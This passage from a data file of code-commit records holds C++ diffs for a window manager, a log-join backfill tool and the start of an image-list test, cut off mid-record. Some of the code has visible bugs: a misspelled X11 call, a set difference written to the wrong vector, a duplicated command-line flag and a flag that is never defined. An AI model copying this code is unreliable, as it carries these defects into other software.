          \/\/ If we failed to actually do the focus, then we have to\n            \/\/ update the client model to keep it in sync with what our idea\n            \/\/ of the focus is\n            m_clients.unfocus();\n        }\n    }\n}\n\n\/**\n * This changes the currently visible desktop, which involves figuring out\n * which windows are visible on the current desktop, which are not, and then\n * showing those that are visible and hiding those that are not.\n *\/\nvoid ClientModelEvents::handle_current_desktop_change()\n{\n    ChangeCurrentDesktop const *change = \n        dynamic_cast<ChangeCurrentDesktop const*>(m_change);\n\n    std::vector<Window> old_desktop_list;\n    std::vector<Window> new_desktop_list;\n\n\n    \/\/ The output size will have, at most, the size of its largest input\n    size_t max_output_size = std::max(old_desktop_list.size(), \n        new_desktop_list.size());\n\n    \/\/ std::set_difference requires sorted inputs\n    std::sort(old_desktop_list.begin(), old_desktop_list.end());\n    std::sort(new_desktop_list.begin(), new_desktop_list.end());\n\n    std::vector<Window> to_make_invisible;\n    std::vector<Window> to_make_visible;\n   \n    \/\/ Fill out all of the output vectors to the length of the input iterators,\n    \/\/ so that std::set_difference has somewhere to put the data\n    to_make_invisible.resize(max_output_size, None);\n    to_make_visible.resize(max_output_size, None);\n\n    \/\/ The old -> new set difference will produce the list of windows\n    \/\/ which are on the old desktop, but not this one - these need to be\n    \/\/ hidden\n    std::set_difference(\n        old_desktop_list.begin(), old_desktop_list.end(),\n        new_desktop_list.begin(), new_desktop_list.end(),\n        to_make_invisible.begin());\n\n    for (std::vector<Window>::iterator to_hide = to_make_invisible.begin();\n            \/* The extra check that the iterator is not None is necessary,\n             * since the vector was padded with None when it was resized.\n             *\/\n            to_hide != to_make_invisible.end() && *to_hide != None; \n            to_hide++)\n        m_xdata.unmap_win(*to_hide);\n\n    \/\/ The new -> old set difference will produce the list of windows which\n    \/\/ are on the new desktop, but not on the old - these need to be made\n    \/\/ visible\n    std::set_difference(\n        new_desktop_list.begin(), new_desktop_list.end(),\n        old_desktop_list.begin(), old_desktop_list.end(),\n        to_make_invisible.begin());\n\n    for (std::vector<Window>::iterator to_show = to_make_visible.begin();\n            to_show != to_make_visible.end() && *to_show != None;\n            to_show++)\n        m_xdata.map_win(*to_show);\n\n    \/\/ Since we've made some windows visible and some others invisible, we've\n    \/\/ invalidated the previous stacking order, so restack everything according\n    \/\/ to what is now visible\n    do_relayer();\n}\n\n\/**\n * Actually does the relayering.\n *\n * This involves sorting the clients, and then sticking the icons and \n * move\/resize placeholder on the top.\n *\/\nvoid ClientModelEvents::do_relayer()\n{\n    std::vector<Window> ordered_windows;\n    m_clients.get_visible_in_layer_order(ordered_windows);\n\n    \/\/ Figure out the currently focused client, and where it's at. We'll need\n    \/\/ this information in order to place it above its peers.\n    Window focused_client = m_clients.get_focused();\n    Layer focused_layer;\n    if (focused_client != None)\n        focused_layer = m_clients.find_layer(focused_client);\n\n    for (std::vector<Window>::iterator client_iter = ordered_windows.begin();\n            client_iter != ordered_windows.end();\n            client_iter++)\n    {\n        Window current_client = *client_iter;\n        Layer current_layer = m_clients.find_layer(current_client);\n\n        \/\/ We have to check if we're at the point where we can put up the \n        \/\/ focused window - this happens when we've passed the layer that the \n        \/\/ focused window is on. We want to put the focused window above all of\n        \/\/ its peers, so before putting up the first client on the next layer,\n        \/\/ put up the focused window\n        if (focused_client != None &&\n            current_layer == focused_layer + 1)\n        {\n            m_xdata.raise(focused_client);\n\n            \/\/ Make sure to erase the focused client, so that we don't raise\n            \/\/ it more than once\n            focused_client = None;\n        }\n\n        if (current_client != focused_client)\n            m_xdata.raise(current_client);\n    }\n\n    \/\/ If we haven't cleared the focused window, then we need to raise it before\n    \/\/ moving on\n    if (focused_client != None)\n        m_xdata.raise(focused_client);\n\n    \/\/ Now, raise all the clients since they should always be above all other\n    \/\/ windows so they aren't obscured\n    std::vector<Icon*> icon_list;\n    m_xmodel.get_icons(icon_list);\n\n    for (std::vector<Icon*>::iterator icon = icon_list.begin();\n            icon != icon_list.end();\n            icon++)\n    {\n        Window icon_win = (*icon)->icon;\n        m_xdata.raise(icon_win);\n    }\n\n    \/\/ Finally, raise the placeholder, if there is one\n    Window placeholder_win = m_xmodel.get_move_resize_placeholder();\n    if (placeholder_win != None)\n        m_xdata.raise(placeholder_win);\n}\n<commit_msg>Added location and size change handlers<commit_after>#include \"clientmodel-events.h\"\n\n\/**\n * Handles all the currently queued change events, returning when the\n * ClientModel change list is exhausted.\n *\/\nvoid ClientModelEvents::handle_queued_changes()\n{\n    m_should_relayer = false;\n\n    for (ClientModel::change_iter change_iter = m_clients.changes_begin();\n            change_iter != m_clients.changes_end();\n            change_iter++)\n    {\n        m_change = *change_iter;\n\n        if (m_change->is_layer_change())\n            handle_layer_change();\n        else if (m_change->is_focus_change())\n            handle_focus_change();\n        else if (m_change->is_client_desktop_change())\n            handle_client_desktop_change();\n        else if (m_change->is_current_desktop_change())\n            handle_current_desktop_change();\n        else if (m_change->is_location_change())\n            handle_location_change();\n        else if (m_change->is_size_change())\n            handle_size_change();\n    }\n\n    if (m_should_relayer)\n        do_relayer();\n}\n\n\/**\n * Sets a flag so that relayering occurs later - this avoid relayering on\n * every ChangeLayer event.\n *\/\nvoid ClientModelEvents::handle_layer_change()\n{\n    m_should_relayer = true;\n}\n\n\/**\n * Changes the focus from one window to another.\n *\n * The focus model used by SmallWM is click-to-focus, so clicks must be\n * captured on unfocused clients, while focused clients should not be captured.\n *\/\nvoid ClientModelEvents::handle_focus_change()\n{\n    ChangeFocus const *change_event = dynamic_cast<ChangeFocus const*>(m_change);\n\n    \/\/ First, unfocus whatever the model says is unfoucsed. Note that the\n    \/\/ client which is being unfocused may not exist anymore.\n    Window unfocused_client = change_event->prev_focus;\n    if (m_clients.is_client(unfocused_client))\n    {\n        \/\/ Since this window will possibly be focused later, capture the clicks\n        \/\/ going to it so we know when it needs to be focused again\n        m_xdata.set_border_color(unfocused_client, X_WHITE);\n        m_xdata.grab_mouse(unfocused_client);\n    }\n\n    Window focused_client = change_event->next_focus;\n    if (focused_client == None)\n    {\n        \/\/ We can't set the border color of a nonexistent window, so just set\n        \/\/ the focus to None\n        m_xdata.set_input_focus(None);\n    }\n    else\n    {\n        \/\/ Since this is now focused, let the client process events in by \n        \/\/ ungrabbing the mouse and setting the keyboard focus\n        if (m_xdata.set_input_focus(focused_client))\n        {\n            m_xdata.set_border_color(unfocused_client, X_BLACK);\n            m_xdata.ungrab_mouse(focused_client);\n        }\n        else\n        {\n            \/\/ If we failed to actually do the focus, then we have to\n            \/\/ update the client model to keep it in sync with what our idea\n            \/\/ of the focus is\n            m_clients.unfocus();\n        }\n    }\n}\n\n\/**\n * This changes the currently visible desktop, which involves figuring out\n * which windows are visible on the current desktop, which are not, and then\n * showing those that are visible and hiding those that are not.\n *\/\nvoid ClientModelEvents::handle_current_desktop_change()\n{\n    ChangeCurrentDesktop const *change = \n        dynamic_cast<ChangeCurrentDesktop const*>(m_change);\n\n    std::vector<Window> old_desktop_list;\n    std::vector<Window> new_desktop_list;\n\n    \/\/ The output size will have, at most, the size of its largest input\n    size_t max_output_size = std::max(old_desktop_list.size(), \n        new_desktop_list.size());\n\n    \/\/ std::set_difference requires sorted inputs\n    std::sort(old_desktop_list.begin(), old_desktop_list.end());\n    std::sort(new_desktop_list.begin(), new_desktop_list.end());\n\n    std::vector<Window> to_make_invisible;\n    std::vector<Window> to_make_visible;\n   \n    \/\/ Fill out all of the output vectors to the length of the input iterators,\n    \/\/ so that std::set_difference has somewhere to put the data\n    to_make_invisible.resize(max_output_size, None);\n    to_make_visible.resize(max_output_size, None);\n\n    \/\/ The old -> new set difference will produce the list of windows\n    \/\/ which are on the old desktop, but not this one - these need to be\n    \/\/ hidden\n    std::set_difference(\n        old_desktop_list.begin(), old_desktop_list.end(),\n        new_desktop_list.begin(), new_desktop_list.end(),\n        to_make_invisible.begin());\n\n    for (std::vector<Window>::iterator to_hide = to_make_invisible.begin();\n            \/* The extra check that the iterator is not None is necessary,\n             * since the vector was padded with None when it was resized.\n             *\/\n            to_hide != to_make_invisible.end() && *to_hide != None; \n            to_hide++)\n        m_xdata.unmap_win(*to_hide);\n\n    \/\/ The new -> old set difference will produce the list of windows which\n    \/\/ are on the new desktop, but not on the old - these need to be made\n    \/\/ visible\n    std::set_difference(\n        new_desktop_list.begin(), new_desktop_list.end(),\n        old_desktop_list.begin(), old_desktop_list.end(),\n        to_make_invisible.begin());\n\n    for (std::vector<Window>::iterator to_show = to_make_visible.begin();\n            to_show != to_make_visible.end() && *to_show != None;\n            to_show++)\n        m_xdata.map_win(*to_show);\n\n    \/\/ Since we've made some windows visible and some others invisible, we've\n    \/\/ invalidated the previous stacking order, so restack everything according\n    \/\/ to what is now visible\n    do_relayer();\n}\n\n\/**\n * Handles a change in location for a particular window.\n *\/\nvoid ClientModelEvents::handle_location_change()\n{\n    ChangeLocation const *change = \n        dynamic_cast<ChangeLocation const*>(m_change);\n\n    XMoveWindow(change->window, change->x, change->y);\n}\n\n\/**\n * Handles a change in size for a particular window.\n *\/\nvoid ClientModelEvents::handle_size_change()\n{\n    ChangeSize const *change = \n        dynamic_cast<ChangeSize const*>(m_change);\n\n    XResizeWIndow(change->window, change->w, change->h);\n}\n\n\/**\n * Actually does the relayering.\n *\n * This involves sorting the clients, and then sticking the icons and \n * move\/resize placeholder on the top.\n *\/\nvoid ClientModelEvents::do_relayer()\n{\n    std::vector<Window> ordered_windows;\n    m_clients.get_visible_in_layer_order(ordered_windows);\n\n    \/\/ Figure out the currently focused client, and where it's at. We'll need\n    \/\/ this information in order to place it above its peers.\n    Window focused_client = m_clients.get_focused();\n    Layer focused_layer;\n    if (focused_client != None)\n        focused_layer = m_clients.find_layer(focused_client);\n\n    for (std::vector<Window>::iterator client_iter = ordered_windows.begin();\n            client_iter != ordered_windows.end();\n            client_iter++)\n    {\n        Window current_client = *client_iter;\n        Layer current_layer = m_clients.find_layer(current_client);\n\n        \/\/ We have to check if we're at the point where we can put up the \n        \/\/ focused window - this happens when we've passed the layer that the \n        \/\/ focused window is on. We want to put the focused window above all of\n        \/\/ its peers, so before putting up the first client on the next layer,\n        \/\/ put up the focused window\n        if (focused_client != None &&\n            current_layer == focused_layer + 1)\n        {\n            m_xdata.raise(focused_client);\n\n            \/\/ Make sure to erase the focused client, so that we don't raise\n            \/\/ it more than once\n            focused_client = None;\n        }\n\n        if (current_client != focused_client)\n            m_xdata.raise(current_client);\n    }\n\n    \/\/ If we haven't cleared the focused window, then we need to raise it before\n    \/\/ moving on\n    if (focused_client != None)\n        m_xdata.raise(focused_client);\n\n    \/\/ Now, raise all the clients since they should always be above all other\n    \/\/ windows so they aren't obscured\n    std::vector<Icon*> icon_list;\n    m_xmodel.get_icons(icon_list);\n\n    for (std::vector<Icon*>::iterator icon = icon_list.begin();\n            icon != icon_list.end();\n            icon++)\n    {\n        Window icon_win = (*icon)->icon;\n        m_xdata.raise(icon_win);\n    }\n\n    \/\/ Finally, raise the placeholder, if there is one\n    Window placeholder_win = m_xmodel.get_move_resize_placeholder();\n    if (placeholder_win != None)\n        m_xdata.raise(placeholder_win);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include \"fnord-base\/io\/filerepository.h\"\n#include \"fnord-base\/io\/fileutil.h\"\n#include \"fnord-base\/application.h\"\n#include \"fnord-base\/logging.h\"\n#include \"fnord-base\/random.h\"\n#include \"fnord-base\/thread\/eventloop.h\"\n#include \"fnord-base\/thread\/threadpool.h\"\n#include \"fnord-base\/thread\/queue.h\"\n#include \"fnord-base\/wallclock.h\"\n#include \"fnord-base\/cli\/flagparser.h\"\n#include \"fnord-eventdb\/TableRepository.h\"\n#include \"fnord-eventdb\/LogTableTail.h\"\n#include \"fnord-msg\/MessageEncoder.h\"\n#include \"fnord-msg\/MessagePrinter.h\"\n#include \"logjoin\/LogJoinBackfill.h\"\n#include \"IndexReader.h\"\n\n#include \"common.h\"\n#include \"schemas.h\"\n\nusing namespace cm;\nusing namespace fnord;\n\nfnord::thread::EventLoop ev;\nstd::atomic<bool> cm_logjoin_shutdown;\n\nvoid quit(int n) {\n  cm_logjoin_shutdown = true;\n}\n\nstruct BackfillData {\n  Option<String> shop_name;\n  Option<String> shop_id;\n  Option<uint64_t> category1;\n  Option<uint64_t> category2;\n  Option<uint64_t> category3;\n};\n\nint main(int argc, const char** argv) {\n  fnord::Application::init();\n  fnord::Application::logToStderr();\n\n  cm_logjoin_shutdown = false;\n  struct sigaction sa;\n  memset(&sa, 0, sizeof(struct sigaction));\n  sa.sa_handler = quit;\n  sigaction(SIGTERM, &sa, NULL);\n  sigaction(SIGQUIT, &sa, NULL);\n  sigaction(SIGINT, &sa, NULL);\n\n  fnord::cli::FlagParser flags;\n\n  flags.defineFlag(\n      \"datadir\",\n      cli::FlagParser::T_STRING,\n      true,\n      NULL,\n      NULL,\n      \"datadir\",\n      \"<path>\");\n\n  flags.defineFlag(\n      \"feedserver_addr\",\n      fnord::cli::FlagParser::T_STRING,\n      false,\n      NULL,\n      \"http:\/\/localhost:8000\",\n      \"feedserver addr\",\n      \"<addr>\");\n\n  flags.defineFlag(\n      \"batch_size\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"2048\",\n      \"batch_size\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"worker_threads\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"4\",\n      \"threads\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"upload_threads\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"1\",\n      \"threads\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"no_dryrun\",\n      fnord::cli::FlagParser::T_SWITCH,\n      false,\n      NULL,\n      NULL,\n      \"no dryrun\",\n      \"<bool>\");\n\n  flags.defineFlag(\n      \"replica\",\n      cli::FlagParser::T_STRING,\n      true,\n      NULL,\n      NULL,\n      \"replica id\",\n      \"<id>\");\n\n  flags.defineFlag(\n      \"no_dryrun\",\n      fnord::cli::FlagParser::T_SWITCH,\n      false,\n      NULL,\n      NULL,\n      \"no dryrun\",\n      \"<bool>\");\n\n  flags.defineFlag(\n      \"loglevel\",\n      fnord::cli::FlagParser::T_STRING,\n      false,\n      NULL,\n      \"INFO\",\n      \"loglevel\",\n      \"<level>\");\n\n  flags.parseArgv(argc, argv);\n\n  Logger::get()->setMinimumLogLevel(\n      strToLogLevel(flags.getString(\"loglevel\")));\n\n\n  \/* args *\/\n  auto index_path = flags.getString(\"index\");\n  auto batch_size = flags.getInt(\"batch_size\");\n  auto datadir = flags.getString(\"datadir\");\n  auto dry_run = !flags.isSet(\"no_dryrun\");\n  if (!FileUtil::isDirectory(datadir)) {\n    RAISEF(kIOError, \"no such directory: $0\", datadir);\n  }\n\n  URI target_uri(\"http:\/\/localhost:8000\/eventdb\/insert?table=joined_sessions-dawanda\");\n\n\n  \/* event loop, http *\/\n  http::HTTPConnectionPool http(&ev);\n  auto evloop_thread = std::thread([] {\n    ev.run();\n  });\n\n\n  \/* open index *\/\n  auto index = cm::IndexReader::openIndex(index_path);\n\n\n  \/* open table *\/\n  auto schema = joinedSessionsSchema();\n  auto table = eventdb::TableReader::open(\n      \"dawanda_joined_sessions\",\n      flags.getString(\"replica\"),\n      datadir,\n      schema);\n\n\n  auto queries_fid = schema.id(\"queries\");\n  auto queryitems_fid = schema.id(\"queries.items\");\n  auto qi_id_fid = schema.id(\"queries.items.item_id\");\n  auto qi_sid_fid = schema.id(\"queries.items.shop_id\");\n  auto qi_sname_fid = schema.id(\"queries.items.shop_name\");\n  auto qi_c1_fid = schema.id(\"queries.items.category1\");\n  auto qi_c2_fid = schema.id(\"queries.items.category2\");\n  auto qi_c3_fid = schema.id(\"queries.items.category3\");\n\n  HashMap<String, BackfillData> cache;\n\n  \/* backfill fn *\/\n  auto get_backfill_data = [&cache, &index] (const String& item_id) -> BackfillData {\n    auto cached = cache.find(item_id);\n    if (!(cached == cache.end())) {\n      return cached->second;\n    }\n\n    BackfillData data;\n\n    DocID docid { .docid = item_id };\n    data.shop_id = index->docIndex()->getField(docid, \"shop_id\");\n    data.shop_name = index->docIndex()->getField(docid, \"shop_name\");\n\n    auto category1 = index->docIndex()->getField(docid, \"category1\");\n    if (!category1.isEmpty()) {\n      data.category1 = Some(std::stoull(category1.get()));\n    }\n\n    auto category2 = index->docIndex()->getField(docid, \"category2\");\n    if (!category2.isEmpty()) {\n      data.category2 = Some(std::stoull(category2.get()));\n    }\n\n    auto category3 = index->docIndex()->getField(docid, \"category3\");\n    if (!category3.isEmpty()) {\n      data.category3 = Some(std::stoull(category3.get()));\n    }\n\n    cache[item_id] = data;\n    return data;\n  };\n\n  auto backfill_fn = [\n    &schema,\n    &queries_fid,\n    &queryitems_fid,\n    &qi_id_fid,\n    &qi_sid_fid,\n    &qi_sname_fid,\n    &qi_c1_fid,\n    &qi_c2_fid,\n    &qi_c3_fid,\n    &get_backfill_data\n  ] (msg::MessageObject* record) {\n    auto msg = msg::MessagePrinter::print(*record, schema);\n\n    for (auto& q : record->asObject()) {\n      if (q.id != queries_fid) {\n        continue;\n      }\n\n      for (auto& qi : q.asObject()) {\n        if (qi.id != queryitems_fid) {\n          continue;\n        }\n\n        String item_id;\n        for (auto cur = qi.asObject().begin(); cur != qi.asObject().end(); ) {\n          auto id = cur->id;\n\n          if (id == qi_id_fid) {\n            item_id = cur->asString();\n            ++cur;\n          } else if (\n              id == qi_sid_fid ||\n              id == qi_sname_fid ||\n              id == qi_c1_fid ||\n              id == qi_c2_fid ||\n              id == qi_c3_fid) {\n            cur = qi.asObject().erase(cur);\n          } else {\n            ++cur;\n          }\n        }\n\n        auto bdata = get_backfill_data(item_id);\n\n        if (!bdata.shop_id.isEmpty()) {\n          qi.addChild(qi_sid_fid, bdata.shop_id.get());\n        }\n\n        if (!bdata.shop_name.isEmpty()) {\n          qi.addChild(qi_sname_fid, bdata.shop_name.get());\n        }\n\n        if (!bdata.category1.isEmpty()) {\n          qi.addChild(qi_c1_fid, bdata.category1.get());\n        }\n\n        if (!bdata.category2.isEmpty()) {\n          qi.addChild(qi_c2_fid, bdata.category2.get());\n        }\n\n        if (!bdata.category3.isEmpty()) {\n          qi.addChild(qi_c3_fid, bdata.category3.get());\n        }\n      }\n    }\n\n    fnord::iputs(\"backfill: $0\", msg);\n  };\n\n\n  \/* run backfill *\/\n  cm::LogJoinBackfill backfill(\n      table,\n      backfill_fn,\n      \"\/tmp\/logjoin-backfill-state\",\n      dry_run,\n      target_uri,\n      &http);\n\n  backfill.start();\n\n  while (backfill.process(batch_size)) {\n    if (cm_logjoin_shutdown.load()) {\n      break;\n    }\n  }\n\n  backfill.shutdown();\n  ev.shutdown();\n  evloop_thread.join();\n\n  return 0;\n}\n\n<commit_msg>conversion fix<commit_after>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n *   All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include <stdlib.h>\n#include <unistd.h>\n#include <signal.h>\n#include \"fnord-base\/io\/filerepository.h\"\n#include \"fnord-base\/io\/fileutil.h\"\n#include \"fnord-base\/application.h\"\n#include \"fnord-base\/logging.h\"\n#include \"fnord-base\/random.h\"\n#include \"fnord-base\/thread\/eventloop.h\"\n#include \"fnord-base\/thread\/threadpool.h\"\n#include \"fnord-base\/thread\/queue.h\"\n#include \"fnord-base\/wallclock.h\"\n#include \"fnord-base\/cli\/flagparser.h\"\n#include \"fnord-eventdb\/TableRepository.h\"\n#include \"fnord-eventdb\/LogTableTail.h\"\n#include \"fnord-msg\/MessageEncoder.h\"\n#include \"fnord-msg\/MessagePrinter.h\"\n#include \"logjoin\/LogJoinBackfill.h\"\n#include \"IndexReader.h\"\n\n#include \"common.h\"\n#include \"schemas.h\"\n\nusing namespace cm;\nusing namespace fnord;\n\nfnord::thread::EventLoop ev;\nstd::atomic<bool> cm_logjoin_shutdown;\n\nvoid quit(int n) {\n  cm_logjoin_shutdown = true;\n}\n\nstruct BackfillData {\n  Option<String> shop_name;\n  Option<String> shop_id;\n  Option<uint64_t> category1;\n  Option<uint64_t> category2;\n  Option<uint64_t> category3;\n};\n\nint main(int argc, const char** argv) {\n  fnord::Application::init();\n  fnord::Application::logToStderr();\n\n  cm_logjoin_shutdown = false;\n  struct sigaction sa;\n  memset(&sa, 0, sizeof(struct sigaction));\n  sa.sa_handler = quit;\n  sigaction(SIGTERM, &sa, NULL);\n  sigaction(SIGQUIT, &sa, NULL);\n  sigaction(SIGINT, &sa, NULL);\n\n  fnord::cli::FlagParser flags;\n\n  flags.defineFlag(\n      \"datadir\",\n      cli::FlagParser::T_STRING,\n      true,\n      NULL,\n      NULL,\n      \"datadir\",\n      \"<path>\");\n\n  flags.defineFlag(\n      \"feedserver_addr\",\n      fnord::cli::FlagParser::T_STRING,\n      false,\n      NULL,\n      \"http:\/\/localhost:8000\",\n      \"feedserver addr\",\n      \"<addr>\");\n\n  flags.defineFlag(\n      \"batch_size\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"2048\",\n      \"batch_size\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"worker_threads\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"4\",\n      \"threads\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"upload_threads\",\n      fnord::cli::FlagParser::T_INTEGER,\n      false,\n      NULL,\n      \"1\",\n      \"threads\",\n      \"<num>\");\n\n  flags.defineFlag(\n      \"no_dryrun\",\n      fnord::cli::FlagParser::T_SWITCH,\n      false,\n      NULL,\n      NULL,\n      \"no dryrun\",\n      \"<bool>\");\n\n  flags.defineFlag(\n      \"replica\",\n      cli::FlagParser::T_STRING,\n      true,\n      NULL,\n      NULL,\n      \"replica id\",\n      \"<id>\");\n\n  flags.defineFlag(\n      \"no_dryrun\",\n      fnord::cli::FlagParser::T_SWITCH,\n      false,\n      NULL,\n      NULL,\n      \"no dryrun\",\n      \"<bool>\");\n\n  flags.defineFlag(\n      \"loglevel\",\n      fnord::cli::FlagParser::T_STRING,\n      false,\n      NULL,\n      \"INFO\",\n      \"loglevel\",\n      \"<level>\");\n\n  flags.parseArgv(argc, argv);\n\n  Logger::get()->setMinimumLogLevel(\n      strToLogLevel(flags.getString(\"loglevel\")));\n\n\n  \/* args *\/\n  auto index_path = flags.getString(\"index\");\n  auto batch_size = flags.getInt(\"batch_size\");\n  auto datadir = flags.getString(\"datadir\");\n  auto dry_run = !flags.isSet(\"no_dryrun\");\n  if (!FileUtil::isDirectory(datadir)) {\n    RAISEF(kIOError, \"no such directory: $0\", datadir);\n  }\n\n  URI target_uri(\"http:\/\/localhost:8000\/eventdb\/insert?table=joined_sessions-dawanda\");\n\n\n  \/* event loop, http *\/\n  http::HTTPConnectionPool http(&ev);\n  auto evloop_thread = std::thread([] {\n    ev.run();\n  });\n\n\n  \/* open index *\/\n  auto index = cm::IndexReader::openIndex(index_path);\n\n\n  \/* open table *\/\n  auto schema = joinedSessionsSchema();\n  auto table = eventdb::TableReader::open(\n      \"dawanda_joined_sessions\",\n      flags.getString(\"replica\"),\n      datadir,\n      schema);\n\n\n  auto queries_fid = schema.id(\"queries\");\n  auto queryitems_fid = schema.id(\"queries.items\");\n  auto qi_id_fid = schema.id(\"queries.items.item_id\");\n  auto qi_sid_fid = schema.id(\"queries.items.shop_id\");\n  auto qi_sname_fid = schema.id(\"queries.items.shop_name\");\n  auto qi_c1_fid = schema.id(\"queries.items.category1\");\n  auto qi_c2_fid = schema.id(\"queries.items.category2\");\n  auto qi_c3_fid = schema.id(\"queries.items.category3\");\n\n  HashMap<String, BackfillData> cache;\n\n  \/* backfill fn *\/\n  auto get_backfill_data = [&cache, &index] (const String& item_id) -> BackfillData {\n    auto cached = cache.find(item_id);\n    if (!(cached == cache.end())) {\n      return cached->second;\n    }\n\n    BackfillData data;\n\n    DocID docid { .docid = item_id };\n    data.shop_id = index->docIndex()->getField(docid, \"shop_id\");\n    data.shop_name = index->docIndex()->getField(docid, \"shop_name\");\n\n    auto category1 = index->docIndex()->getField(docid, \"category1\");\n    if (!category1.isEmpty()) {\n      data.category1 = Some((uint64_t) std::stoull(category1.get()));\n    }\n\n    auto category2 = index->docIndex()->getField(docid, \"category2\");\n    if (!category2.isEmpty()) {\n      data.category2 = Some((uint64_t) std::stoull(category2.get()));\n    }\n\n    auto category3 = index->docIndex()->getField(docid, \"category3\");\n    if (!category3.isEmpty()) {\n      data.category3 = Some((uint64_t) std::stoull(category3.get()));\n    }\n\n    cache[item_id] = data;\n    return data;\n  };\n\n  auto backfill_fn = [\n    &schema,\n    &queries_fid,\n    &queryitems_fid,\n    &qi_id_fid,\n    &qi_sid_fid,\n    &qi_sname_fid,\n    &qi_c1_fid,\n    &qi_c2_fid,\n    &qi_c3_fid,\n    &get_backfill_data\n  ] (msg::MessageObject* record) {\n    auto msg = msg::MessagePrinter::print(*record, schema);\n\n    for (auto& q : record->asObject()) {\n      if (q.id != queries_fid) {\n        continue;\n      }\n\n      for (auto& qi : q.asObject()) {\n        if (qi.id != queryitems_fid) {\n          continue;\n        }\n\n        String item_id;\n        for (auto cur = qi.asObject().begin(); cur != qi.asObject().end(); ) {\n          auto id = cur->id;\n\n          if (id == qi_id_fid) {\n            item_id = cur->asString();\n            ++cur;\n          } else if (\n              id == qi_sid_fid ||\n              id == qi_sname_fid ||\n              id == qi_c1_fid ||\n              id == qi_c2_fid ||\n              id == qi_c3_fid) {\n            cur = qi.asObject().erase(cur);\n          } else {\n            ++cur;\n          }\n        }\n\n        auto bdata = get_backfill_data(item_id);\n\n        if (!bdata.shop_id.isEmpty()) {\n          qi.addChild(qi_sid_fid, bdata.shop_id.get());\n        }\n\n        if (!bdata.shop_name.isEmpty()) {\n          qi.addChild(qi_sname_fid, bdata.shop_name.get());\n        }\n\n        if (!bdata.category1.isEmpty()) {\n          qi.addChild(qi_c1_fid, bdata.category1.get());\n        }\n\n        if (!bdata.category2.isEmpty()) {\n          qi.addChild(qi_c2_fid, bdata.category2.get());\n        }\n\n        if (!bdata.category3.isEmpty()) {\n          qi.addChild(qi_c3_fid, bdata.category3.get());\n        }\n      }\n    }\n\n    fnord::iputs(\"backfill: $0\", msg);\n  };\n\n\n  \/* run backfill *\/\n  cm::LogJoinBackfill backfill(\n      table,\n      backfill_fn,\n      \"\/tmp\/logjoin-backfill-state\",\n      dry_run,\n      target_uri,\n      &http);\n\n  backfill.start();\n\n  while (backfill.process(batch_size)) {\n    if (cm_logjoin_shutdown.load()) {\n      break;\n    }\n  }\n\n  backfill.shutdown();\n  ev.shutdown();\n  evloop_thread.join();\n\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   ORFEO Toolbox\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See OTBCopyright.txt for details.\n\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"itkExceptionObject.h\"\n\n#include \"otbImageFileReader.h\"\n#include \"otbList.h\"\n#include \"otbImage.h\"\n\n\nint otbList(int argc, char * argv[])\n{\n  try\n    {\n      const char * inputFilename1 = argv[1];\n      const char * inputFilename2 = argv[2];\n      const char * inputFilename3 = argv[3];\n      const unsigned int Dimension = 2;\n\n      typedef unsigned char InputPixelType;\n      typedef otb::Image<InputPixelType,Dimension> InputImageType;\n      typedef otb::ImageFileReader<InputImageType> ReaderType;\n      typedef otb::List<InputImageType> ImageListType;\n\n      \/\/ Reading image 1\n      ReaderType::Pointer reader1 = ReaderType::New();\n      reader1->SetFileName(inputFilename1);\n      reader1->Update();\n\n      \/\/ Reading image 2\n      ReaderType::Pointer reader2 = ReaderType::New();\n      reader2->SetFileName(inputFilename2);\n      reader2->Update();\n\n      \/\/ Reading image 3\n      ReaderType::Pointer reader3 = ReaderType::New();\n      reader3->SetFileName(inputFilename3);\n      reader3->Update();\n\n      \/\/ Instantiating the tested object\n      ImageListType::Pointer imageList = ImageListType::New();\n      \n      \/\/ Testing reserve\/capacity\n      imageList->Reserve(2);\n\n      otbControlConditionTestMacro(imageList->Capacity()!=2,\"Reserve\/Capacity()\");\n\n      \/\/ Testing Size\/Element accessor\n      imageList->PushBack(reader1->GetOutput());\n      imageList->PushBack(reader2->GetOutput());\n\n      otbControlConditionTestMacro(imageList->Size()!=2,\"PushBack\/Size()\");\n      otbControlConditionTestMacro(imageList->GetNthElement(0)!=reader1->GetOutput(),\"PushBack\/GetNthElement(0)\");\n      otbControlConditionTestMacro(imageList->GetNthElement(1)!=reader2->GetOutput(),\"PushBack\/GetNthElement(1)\");\n      otbControlConditionTestMacro(imageList->Front()!=reader1->GetOutput(),\"PushBack\/Front()\");\n      otbControlConditionTestMacro(imageList->Back()!=reader2->GetOutput(),\"PushBack\/Back()\");\n\n      \/\/ Testing resizing and related method \n      imageList->Resize(3);\n       otbControlConditionTestMacro(imageList->Size()!=3,\"Resize\/Size()\");\n      \n      \/\/ Testing explicit setter\n      imageList->SetNthElement(2,reader3->GetOutput());\n\n      otbControlConditionTestMacro(imageList->Size()!=3,\"SetNthElement\/Size()\");\n      